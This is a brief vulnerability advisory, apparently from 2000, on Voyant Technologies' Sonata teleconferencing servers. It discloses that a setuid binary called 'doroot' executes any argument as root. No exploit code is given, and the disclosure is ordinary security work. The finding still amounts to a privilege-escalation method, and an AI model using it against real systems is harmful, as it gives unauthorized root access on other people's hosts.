Vendor Notified: 2000-11-30 Vendor Contact: vulnhelp@securityfocus.com Advisory: http://www.vapid.dhs.org/advisories/voyant_technologies_sonata_vulnerabilities.html Description: Sonata is a teleconfrencing solution developed by Voyant Technologies. This advisory concerns the Sonata application server and bridge componet of the Sonata package. The application server is an Ultra Sparc 5 running Solaris 2.x as required by Voyant technologies. The bridge is an IBM PC running OS/2 Warp. These hosts are usually built in house by Voyant personnel and installed at customer locations by a field engineer. Vulnerability: The setuid binary doroot does exactly what it says. It executes its command line argument as root. This is really silly and I dont know why it would need to exist.
